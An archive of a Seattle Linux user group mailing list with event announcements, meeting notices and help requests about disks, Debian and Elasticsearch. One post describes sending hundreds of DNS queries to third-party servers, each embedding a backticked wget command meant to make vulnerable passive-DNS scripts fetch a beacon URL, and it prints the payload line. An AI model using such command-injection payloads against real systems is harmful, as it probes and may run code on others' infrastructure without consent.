Atom Powers | 2 Feb 18:01 2016
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Cascadia IT Conference Early Bird Registration

The Cascadia IT Conference is a gathering of IT professionals in the Pacific Northwest who come to attend classes from world-renowned experts and each from other. This is some of the best and most cost-effective training you can get in Seattle.

This year our keynote is by Don Crawley,  best-selling author of The Compassionate Geek.

We have a great schedule of training and presentation this year including:

* "How Not to Get Paged"  by Tom Limoncelli
* "Automation Tools Bootcamp" by Tyler Fitch
* "Practical TCP/IP Troubleshooting" by Mike Pennacchi

For the full schedule and more visit http://casitconf.org/

Registration information: http://casitconf.org/casitconf16/register-now/ 


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Lee Fisher | 15 Jan 18:51 2016
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OSH Summit: Oct in PDX


The Open Source Hardware Summit is in Portland this year, in October!

http://blog.oshpark.com/2016/01/15/portland-to-host-open-hardware-summit-2016/
http://firmwaresecurity.com/2016/01/13/open-hardware-summit-2016-date-announced/

Also, OSCON is not in Portland this year, it is in Texas, so OSBridge
is the event for FOSS.

PS: Today is Hardware Freedom Day. Celebrate appropriately. :-)
http://www.hardwarefreedomday.org/main/about.html
Andrew Kane | 10 Jan 00:59 2016

20160109 meeting events

Hi everyone, we had our January meeting today.
I've written up a brief description of the things discussed there:

https://gslug.org/wiki/Meeting_2016-01-09#Proceedings

Thanks to everyone who came and who joined us on IRC.

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Lee Fisher | 9 Jan 17:56 2016
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Jan 23rd Krita illustration workshop


Like KDE? Like to learn a more intuitive graphics tool than GIMP?

Oscar is giving a workshop on KDE-based Krita later this month.

Oscar is a full-time artist, and helps with local artistic community by
running the Seattle Blender User Group (SeaBUG, seabug.info), and giving
workshops at LinuxFest NorthWest and elsewhere.

If you know of an artist who is looking to learn Krita, this is a
good opportunity.

https://krita.org/

-------- Forwarded Message --------
Subject: Krita illustration workshop, January 23rd
Date: Fri, 8 Jan 2016 20:53:18 -0800
From: Oscar Baechler <oscarbaechler <at> gmail.com>
To: Oscar Baechler <oscarbaechler <at> gmail.com>

When: January 23rd, 10 AM to 1:30 PM

Where: Push/Pull Gallery, 5484 Shilshole Ave NW, Seattle, Washington 981
07

What: You've seen the awesome painting powerhouse Krita a number of
times at Seabug. On the 23rd, delve deeper into Krita with its own
dedicated class! We'll be covering the interface basics, concepts and
pipelines for illustration, and a deep-dive into various painting
processes. If January's Seabug break left you hankering for some free
open source graphics knowledge, this is the perfect opportunity.

More info and tickets here.
<https://squareup.com/market/pushpullseattle/illustration-with-krita-int
roduction-workshop>

Thanks
for your support over the years!

--Oscar

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Andrew Kane | 5 Jan 01:16 2016

Fwd: Upcoming meeting January 9


According to my calendar the next meeting is coming up in 7 days. As yet
no venue nor topic is established afaik.

I propose the following:

Venue: One Cup Coffee at 16743 Aurora Ave N
Topic: Organizing

Also, GSLUG has a telephone number (courtesy of Accelerate Networks) but
currently no one available to answer the phone. Is anyone on this list
willing to serve in this capacity? We can point the number to your
existing (SIP-capable, i.e. any android phone) device or I can provide a
hardware IP phone.

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David Vincent-Jones | 27 Dec 02:13 2015
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Disk formatting error

One of my (1 Gb.) backup disks was at one time used to install an operating 
system ..... I have now flushed the disk and want, once again, to use it for 
backup purposes.

There appeared to be some residual material on the disk that was giving a 
problem, so I decided to fully flush it and repartition/format it.

I have used both the OpenSUSE partitioner as well as Gparted and in both 
instances I had failures ... 

"Formatting partition /dev/sdc1 (931.51 GiB) with ext4 .....
/dev/sdc1 is apparently in use by the filesystem; will not make a filesystem 
here"

Anybody got an idea how I can truly flush this animal  ..

Happy Christmas all

David

A footnote:
Christmas day and I was unable to open any of my browsers ... thought I had 
some sort of strange virus. Browser simply gave a footnote message 
"Frontier.com/Security".

I called Frontier (my service provider) and they had me read off the 'MAC' code 
from my modem so that they could 'reset' my system. I asked the purpose of 
their having to have this code and they informed me that 'Federal Regulations' 
now requires all modems to be registered this way.

The bloody spooks are at it again!!

D

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Atom Powers | 16 Dec 16:34 2015
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LOPSA Cascadia IT Conference CFP Reminder

LOPSA Cascadia IT Conference
Call for Participation is open at http://casitconf.org/casitconf16/cfp/
Submit by 2016-01-01.

LOPSA Cascadia is amazing because of your participation. We want you
to have an amazing presentation and we want to have the most amazing
conference.

We understand that during the weeks before Christmas you have better
things to do than write up a conference proposal so we have extended
the deadline out to the end of the year.

Don't worry about having the perfect proposal. Scribble something on
the back of a napkin and throw it our way. We are here to provide
learning opportunities for all participants and attendees.

LOPSA Cascadia is a regional conference here in Seattle where you can
teach and learn from Grey Beards and PFYs and everybody in between.
Come and tell us about how that great insight you had at SeaGL
improved your team. Teach a class about how to implement some great
technology you learned about at LinuxFest.

Our goal is to advance the practice of systems and network
administration through teaching and training. Become a better
Systems/Network/Storage/DevOps Administrator at LOPSA Cascadia through
teaching, presenting, and talking with other.

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David Vincent-Jones | 14 Dec 06:21 2015
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Debian Install Problem

I need some help in getting Debian installed on two of my systems.

I am currently running OpenSUSE (KDE desktop) on both a Lenovo W532 and a 
Lenovo T400 notebooks. For compatibility reasons I wish to swing to using the 
current version of Debian (also KDE).

I have downloaded Debian (Jessie) KDE Live Version and checked that the 
MD5SUMS are correct, following which I have burnt both a DVD-R and a USB-
Stick.

Using either the DVD or the USB I am able to correctly boot into the main  
menu that provides the various Live/Install options but at that point the 
system simply accepts an option and then reverts to the menu.

I have gone several times through the download/burn process with fresh DVD/USB 
and the problem persists.

If I use either a DVD or USB for another distribution or go back to OpenSUSE I 
an then able to correctly enter the install or live process. Why is this only 
a problem with Debian?

Ideas/help would be appreciated;

David

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Fred Morris | 12 Dec 22:14 2015
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On another note, security researchers are protected from themselves apparently

"And what did you do for Thanksgiving, Fred?"

Well something came up and I found myself disturbingly surprised that cyber 
intelligence analysts... well it apparently never occurs to them that for 
instance a bash, perl or python script might... you know, be vulnerable... 
you know, like a web site. You know, that OWASP stuff.

So using some DNS query logs I identified likely DNS server clusters on the 
hunch that anyway if *I* was trying trying to collect stuff for my Passive 
DNS feed, I'd want to place the sensors close to those clusters. So then I 
sent several hundred queries in total targeting domains served by those 
clusters which looked something like this over the wire:

  dig '`wget -q -O - http://gslug.m3047.net/you-get-the-idea`.example.com'

WARNING: Mind all the quotes. Very carefully.

To my initial relief, I received nary a single beacon back. However on further 
inqury, it appears likely that at least some PDNS purveyors pre-filter the 
queries which go into their feeds to eliminate stuff like that.

Make of it all what you will...

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Fred Morris | 12 Dec 22:01 2015
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Apache Drill + ElasticSearch + Kibana

My language of choice is Python; sure I can tinbash Java. What is the
implementation path to writing a Drill Storage Plugin? Can I shim one of the
existing ones? Has one of the existing ones got an easy enough protocol over
the wire that I can MITM it with some Python middleware?

So I've been tinkering with Kibana+ES as a way to explore some data
collaboratively. I've run into the problem that nope, no it does not support
useful aggregations at the ES level.

What I mean by this is that given an index with two types, both indexed
by household_id, and with one called address containing a zip code and the
other called vehicle containing a make and model, I'd like to do something
that looks like:

  SELECT Address.zip_code, LAST(Vehicle.make)
  FROM Address INNER JOIN Vehicle ON (Address.household_id = Vehicle.household_id)
  GROUP BY Address.zip_code ORDER BY Address.zip_code

and the output of that is what I want Kibana to consume.

So the unimaginative way to accomplish this would be to write a script which
hammers the ES REST API  and "gits 'er done"... either writing the zip code
to the vehicle type as a new field, or creating an entirely new type
(possibly in an entirely different index).

This is the point where instead of giving up, I started looking for a bigger
hammer... errr drill... because that is just stupidly lame.

ObLinux: In a case of bad data curation, the dataset I've got ties vehicle
makes to web browser and os used when visiting a government web site. I
thought it'd be a larf to correlate os to vehicle data. :-p

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andrew kane | 10 Dec 03:25 2015
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upcoming meeting december 12 2015


Ahoy gsluggers, unless my calendar plays me false the next meeting is
upcoming, on December 12. To my knowledge neither venue nor topic has
yet been decided. I've updated the topic on our IRC channel (#gslug on
freenode.net) and made the wiki page for this month's meeting:

https://gslug.org/wiki/Meeting_2015-12-12

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